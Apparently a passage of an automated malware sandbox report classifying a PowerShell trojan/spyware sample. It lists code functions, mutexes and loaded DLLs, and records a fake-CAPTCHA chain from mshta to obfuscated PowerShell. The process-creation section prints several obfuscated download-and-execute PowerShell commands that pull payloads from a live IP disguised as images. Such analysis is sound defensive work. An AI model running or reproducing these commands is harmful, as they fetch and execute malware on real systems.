Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFB4C886800	6_2_00007FFB4C886800
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFB4C858539	8_2_00007FFB4C858539
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFB4C856800	8_2_00007FFB4C856800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_0651237F	12_2_0651237F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_065169C8	12_2_065169C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_06512454	12_2_06512454
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_06512388	12_2_06512388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_06511E37	12_2_06511E37
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_06511E2E	12_2_06511E2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_06511F25	12_2_06511F25
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_06510040	12_2_06510040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_06510006	12_2_06510006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00408740	14_2_00408740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00440A0D	14_2_00440A0D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0040AE60	14_2_0040AE60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00430050	14_2_00430050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00411078	14_2_00411078
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_004270D0	14_2_004270D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00436140	14_2_00436140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0043912C	14_2_0043912C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_004091C0	14_2_004091C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_004161DF	14_2_004161DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_004311E6	14_2_004311E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00432188	14_2_00432188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00406190	14_2_00406190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0042F195	14_2_0042F195
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_004421B0	14_2_004421B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0041E250	14_2_0041E250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0041B200	14_2_0041B200
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_004042D0	14_2_004042D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_004082A0	14_2_004082A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_004412B1	14_2_004412B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0041C370	14_2_0041C370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_004273A0	14_2_004273A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00420440	14_2_00420440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00410446	14_2_00410446
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00417451	14_2_00417451
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00442460	14_2_00442460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00419470	14_2_00419470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00407400	14_2_00407400
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0043C410	14_2_0043C410
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0040E4B0	14_2_0040E4B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0041A574	14_2_0041A574
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_004245C0	14_2_004245C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_004165EE	14_2_004165EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00415590	14_2_00415590
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_004095A0	14_2_004095A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00406620	14_2_00406620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0040D690	14_2_0040D690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00418690	14_2_00418690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0043974A	14_2_0043974A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00419710	14_2_00419710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0041F710	14_2_0041F710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0041C7D0	14_2_0041C7D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_004427E0	14_2_004427E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0043B7B0	14_2_0043B7B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0042A810	14_2_0042A810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00433810	14_2_00433810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_004058E0	14_2_004058E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0042D893	14_2_0042D893
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_004148B0	14_2_004148B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_004288BA	14_2_004288BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00415975	14_2_00415975
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0040A910	14_2_0040A910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00441910	14_2_00441910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00403920	14_2_00403920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00441A56	14_2_00441A56
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00427A50	14_2_00427A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0041BAD0	14_2_0041BAD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00433AD0	14_2_00433AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00431A88	14_2_00431A88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00441A94	14_2_00441A94
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0041AA90	14_2_0041AA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00442A90	14_2_00442A90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0041CAA0	14_2_0041CAA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0043CAA7	14_2_0043CAA7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00441B40	14_2_00441B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00420B10	14_2_00420B10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00402B20	14_2_00402B20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00411B20	14_2_00411B20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0042ABC0	14_2_0042ABC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00441BD0	14_2_00441BD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0043AC40	14_2_0043AC40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00441C60	14_2_00441C60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00404C00	14_2_00404C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0042ECD0	14_2_0042ECD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00439CD8	14_2_00439CD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00440CD8	14_2_00440CD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00414C9C	14_2_00414C9C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0042CCA0	14_2_0042CCA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00426D70	14_2_00426D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00428D76	14_2_00428D76
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00422D17	14_2_00422D17
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00405DC0	14_2_00405DC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00442DE0	14_2_00442DE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00415E42	14_2_00415E42
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00423E44	14_2_00423E44
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00413E50	14_2_00413E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0041BE00	14_2_0041BE00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0042DEE5	14_2_0042DEE5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00402EF0	14_2_00402EF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0043EE80	14_2_0043EE80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0043AEA0	14_2_0043AEA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00427F8D	14_2_00427F8D

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 00413E40 appears 128 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 00407F90 appears 52 times

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winPS1@23/13@11/3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 14_2_00430050 CoCreateInstance,

14_2_00430050

Source: C:\Windows\System32\mshta.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B0ZBZFKQ

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8444:304:WilStaging_02
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8492:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8340:304:WilStaging_02
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Mutant created: \Sessions\1\BaseNamedObjects\3e74489724f9
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8492:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8444:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4100:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8340:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4100:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vv0xvetf.m3y.ps1

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\00.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://view-reserve.com/recaptcha-verify.html
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://92.255.57.112/1/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://92.255.57.112/1/2.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://92.255.57.112/1/3.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://view-reserve.com/recaptcha-verify.html	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://92.255.57.112/1/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://92.255.57.112/1/2.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://92.255.57.112/1/3.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: profapi.dll	Jump to behavior
